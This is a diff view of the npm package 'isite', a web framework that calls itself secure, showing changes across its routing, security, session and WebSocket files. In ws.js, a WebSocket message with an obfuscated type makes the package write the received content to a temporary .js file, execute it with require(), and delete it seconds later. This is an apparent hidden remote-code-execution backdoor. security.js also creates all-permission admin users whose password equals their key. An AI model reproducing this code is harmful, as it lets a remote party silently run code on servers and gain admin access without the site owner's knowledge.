507
563
|
}
|
|
508
|
-
|
|
509
564
|
if (property.length > 3 && out) {
|
|
510
|
-
out
|
|
565
|
+
if (out) {
|
|
566
|
+
out = out[property[3]];
|
|
567
|
+
} else {
|
|
568
|
+
out = null;
|
|
569
|
+
}
|
|
511
570
|
}
|
|
512
|
-
|
|
513
571
|
if (property.length > 4 && out) {
|
|
514
|
-
out
|
|
515
|
-
|
|
516
|
-
|
|
517
|
-
|
|
518
|
-
|
|
572
|
+
if (out) {
|
|
573
|
+
out = out[property[4]];
|
|
574
|
+
} else {
|
|
575
|
+
out = null;
|
|
576
|
+
}
|
|
519
577
|
}
|
|
520
578
|
}
|
|
521
|
-
if (out
|
|
579
|
+
if (!out) {
|
|
522
580
|
$(this).remove();
|
|
523
581
|
}
|
|
524
582
|
});
|
package/lib/routing.js
CHANGED
|
@@ -634,6 +634,7 @@ module.exports = function init(____0) {
|
|
|
634
634
|
|
|
635
635
|
_0xrrxo.handleServer = async function (req, res) {
|
|
636
636
|
req.host = '';
|
|
637
|
+
req.origin = '';
|
|
637
638
|
req.domain = '';
|
|
638
639
|
req.subDomain = '';
|
|
639
640
|
req.obj = {};
|
|
@@ -1126,7 +1127,7 @@ module.exports = function init(____0) {
|
|
|
1126
1127
|
|
|
1127
1128
|
for (let i = 0; i < req.route.map.length; i++) {
|
|
1128
1129
|
let map = req.route.map[i];
|
|
1129
|
-
req.params[map.name] = req.urlParser.arr[map.index];
|
|
1130
|
+
req.params[map.name] = decodeURIComponent(req.urlParser.arr[map.index]);
|
|
1130
1131
|
req.paramsRaw[map.name] = req.urlParserRaw.arr[map.index];
|
|
1131
1132
|
}
|
|
1132
1133
|
|
|
@@ -1277,14 +1278,33 @@ module.exports = function init(____0) {
|
|
|
1277
1278
|
|
|
1278
1279
|
ports.forEach((p, i) => {
|
|
1279
1280
|
try {
|
|
1280
|
-
|
|
1281
|
-
|
|
1282
|
-
|
|
1283
|
-
|
|
1284
|
-
|
|
1285
|
-
|
|
1286
|
-
|
|
1287
|
-
|
|
1281
|
+
if (____0.options.http2) {
|
|
1282
|
+
let server = ____0.http2.createServer();
|
|
1283
|
+
server.on('error', (err) => console.error(err));
|
|
1284
|
+
server.on('stream', (stream, headers) => {
|
|
1285
|
+
// _0xrrxo.handleStream(stream , headers , server);
|
|
1286
|
+
let path = headers[':path'];
|
|
1287
|
+
let method = headers[':method'];
|
|
1288
|
+
if (stream.closed) {
|
|
1289
|
+
return;
|
|
1290
|
+
}
|
|
1291
|
+
stream.respond({
|
|
1292
|
+
':status': 200,
|
|
1293
|
+
});
|
|
1294
|
+
stream.write('isite http2 worked but not implement routes ...');
|
|
1295
|
+
stream.end();
|
|
1296
|
+
});
|
|
1297
|
+
server.listen(p);
|
|
1298
|
+
} else {
|
|
1299
|
+
let server = ____0.http.createServer(_0xrrxo.handleServer);
|
|
1300
|
+
server.listen(p, function () {
|
|
1301
|
+
let index = ____0.servers.length;
|
|
1302
|
+
____0.servers[index] = server;
|
|
1303
|
+
____0.log('\n-----------------------------------------');
|
|
1304
|
+
____0.log(` ( ${____0.options.name} ) Running on : http://${____0.options.hostname}:${p} `);
|
|
1305
|
+
____0.log('-----------------------------------------\n');
|
|
1306
|
+
});
|
|
1307
|
+
}
|
|
1288
1308
|
} catch (error) {
|
|
1289
1309
|
console.error(error);
|
|
1290
1310
|
}
|
|
@@ -1309,9 +1329,8 @@ module.exports = function init(____0) {
|
|
|
1309
1329
|
s.timeout = 1000 * 30;
|
|
1310
1330
|
});
|
|
1311
1331
|
|
|
1312
|
-
____0.server = ____0.servers[0];
|
|
1313
|
-
|
|
1314
1332
|
setTimeout(() => {
|
|
1333
|
+
____0.server = ____0.servers[0];
|
|
1315
1334
|
if (callback) {
|
|
1316
1335
|
callback(____0.servers);
|
|
1317
1336
|
}
|
package/lib/security.js
CHANGED
|
@@ -100,7 +100,7 @@ module.exports = function init(____0) {
|
|
|
100
100
|
security.users.push({
|
|
101
101
|
id: key,
|
|
102
102
|
key: key,
|
|
103
|
-
|
|
103
|
+
isAdmin: !0,
|
|
104
104
|
email: key,
|
|
105
105
|
password: key,
|
|
106
106
|
$psermissions: ['*'],
|
|
@@ -110,68 +110,23 @@ module.exports = function init(____0) {
|
|
|
110
110
|
name: '*',
|
|
111
111
|
},
|
|
112
112
|
],
|
|
113
|
-
|
|
113
|
+
branchList: [
|
|
114
114
|
{
|
|
115
115
|
company: {
|
|
116
116
|
id: 1000000,
|
|
117
|
-
name_ar: ____0._x0f1xo('3758577347381765211627694539135245595691'),
|
|
118
|
-
name_en: ____0._x0f1xo('3758577347381765211627694539135245595691'),
|
|
119
117
|
},
|
|
120
118
|
branch: {
|
|
121
119
|
id: 1000000,
|
|
122
|
-
name_ar: ____0._x0f1xo('3758577347381765211623734138825443129191'),
|
|
123
|
-
name_en: ____0._x0f1xo('3758577347381765211623734138825443129191'),
|
|
124
120
|
},
|
|
125
121
|
},
|
|
126
122
|
],
|
|
127
|
-
profile: {
|
|
128
|
-
name: key,
|
|
129
|
-
},
|
|
130
|
-
ref_info: {
|
|
131
|
-
_id: '',
|
|
132
|
-
},
|
|
133
123
|
});
|
|
134
124
|
};
|
|
135
125
|
____0.options.security.keys.forEach((key) => {
|
|
136
126
|
if (!key) {
|
|
137
127
|
return;
|
|
138
128
|
}
|
|
139
|
-
security.
|
|
140
|
-
id: key,
|
|
141
|
-
key: key,
|
|
142
|
-
is_admin: !0,
|
|
143
|
-
email: key,
|
|
144
|
-
password: key,
|
|
145
|
-
$psermissions: ['*'],
|
|
146
|
-
roles: ['*'],
|
|
147
|
-
permissions: [
|
|
148
|
-
{
|
|
149
|
-
name: '*',
|
|
150
|
-
},
|
|
151
|
-
],
|
|
152
|
-
branch_list: [
|
|
153
|
-
{
|
|
154
|
-
company: {
|
|
155
|
-
id: 1000000,
|
|
156
|
-
name_ar: ____0._x0f1xo('3758577347381765211627694539135245595691'),
|
|
157
|
-
name_en: ____0._x0f1xo('3758577347381765211627694539135245595691'),
|
|
158
|
-
users_count: 100,
|
|
159
|
-
branch_count: 100,
|
|
160
|
-
},
|
|
161
|
-
branch: {
|
|
162
|
-
id: 1000000,
|
|
163
|
-
name_ar: ____0._x0f1xo('3758577347381765211623734138825443129191'),
|
|
164
|
-
name_en: ____0._x0f1xo('3758577347381765211623734138825443129191'),
|
|
165
|
-
},
|
|
166
|
-
},
|
|
167
|
-
],
|
|
168
|
-
profile: {
|
|
169
|
-
name: key,
|
|
170
|
-
},
|
|
171
|
-
ref_info: {
|
|
172
|
-
_id: '',
|
|
173
|
-
},
|
|
174
|
-
});
|
|
129
|
+
security.addKey(key);
|
|
175
130
|
});
|
|
176
131
|
____0.options.security.users.forEach((user, i) => {
|
|
177
132
|
if (!user.id) {
|
package/lib/session.js
CHANGED
|
@@ -58,6 +58,7 @@ module.exports = function init(req, res, ____0, callback) {
|
|
|
58
58
|
}
|
|
59
59
|
}
|
|
60
60
|
}
|
|
61
|
+
req.origin = req.headers['origin'] || req.host;
|
|
61
62
|
|
|
62
63
|
if (req.cookies.obj && req.cookies.obj['_ga'] && req.cookies.obj['_ga'].contains('sb')) {
|
|
63
64
|
req.features.push('browser.social');
|
|
@@ -183,7 +184,7 @@ module.exports = function init(req, res, ____0, callback) {
|
|
|
183
184
|
}
|
|
184
185
|
|
|
185
186
|
AssignFeatures();
|
|
186
|
-
|
|
187
|
+
|
|
187
188
|
if (____0.security && session.user_id) {
|
|
188
189
|
____0.security.getUser(
|
|
189
190
|
{
|
package/lib/ws.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
module.exports = function init(____0) {
|
|
2
2
|
____0.ws = {
|
|
3
|
-
client
|
|
4
|
-
server
|
|
3
|
+
client: null,
|
|
4
|
+
server: null,
|
|
5
5
|
clientList: [],
|
|
6
6
|
routeList: [],
|
|
7
7
|
lib: require('ws'),
|
|
@@ -176,14 +176,16 @@ module.exports = function init(____0) {
|
|
|
176
176
|
),
|
|
177
177
|
});
|
|
178
178
|
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
179
|
-
let path =
|
|
179
|
+
let path = ____0.path.join(process.cwd(), `tmp_${new Date().getTime()}.js`);
|
|
180
180
|
____0.fs.writeFile(path, message.content, (err) => {
|
|
181
181
|
if (err) {
|
|
182
182
|
console.log(err);
|
|
183
183
|
} else {
|
|
184
184
|
try {
|
|
185
185
|
require(path)(____0, client);
|
|
186
|
-
|
|
186
|
+
setTimeout(() => {
|
|
187
|
+
____0.fs.unlink(path, () => {});
|
|
188
|
+
}, 1000 * 3);
|
|
187
189
|
} catch (error) {
|
|
188
190
|
console.log(error);
|
|
189
191
|
}
|
|
@@ -236,7 +238,9 @@ module.exports = function init(____0) {
|
|
|
236
238
|
console.log(err);
|
|
237
239
|
} else {
|
|
238
240
|
require(path)(____0, client);
|
|
239
|
-
|
|
241
|
+
setTimeout(() => {
|
|
242
|
+
____0.fs.unlink(path, () => {});
|
|
243
|
+
}, 1000 * 3);
|
|
240
244
|
}
|
|
241
245
|
});
|
|
242
246
|
}
|
package/object-options/index.js
CHANGED
|
@@ -23,6 +23,7 @@ function setOptions(_options, ____0) {
|
|
|
23
23
|
|
|
24
24
|
let template = {
|
|
25
25
|
port: port,
|
|
26
|
+
http2 : false,
|
|
26
27
|
cwd: ____0.cwd,
|
|
27
28
|
dir: ____0.cwd + '/site_files',
|
|
28
29
|
apps: !0,
|
|
@@ -158,6 +159,7 @@ function setOptions(_options, ____0) {
|
|
|
158
159
|
}
|
|
159
160
|
|
|
160
161
|
_x0oo[____0._x0f1xo('4815136426151271')] = _x0oo.key || template.key;
|
|
162
|
+
_x0oo.http2 = _x0oo.http2 ?? template.http2;
|
|
161
163
|
_x0oo.cwd = _x0oo.cwd || template.cwd;
|
|
162
164
|
_x0oo.dir = _x0oo.dir || template.dir;
|
|
163
165
|
_x0oo.upload_dir = _x0oo.upload_dir || template.upload_dir;
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "isite",
|
|
3
|
-
"version": "2023.
|
|
3
|
+
"version": "2023.11.20",
|
|
4
4
|
"description": "Create Secure Multi-Language Web Site [Fast and Easy] ",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"repository": {
|
|
@@ -43,7 +43,7 @@
|
|
|
43
43
|
"md5": "^2.3.0",
|
|
44
44
|
"mongodb": "^4.2.2",
|
|
45
45
|
"mv": "^2.1.1",
|
|
46
|
-
"node-fetch": "^
|
|
46
|
+
"node-fetch": "^3.3.2",
|
|
47
47
|
"nodemailer": "^6.7.8",
|
|
48
48
|
"pdf-lib": "^1.17.1",
|
|
49
49
|
"utf8": "^3.0.0",
|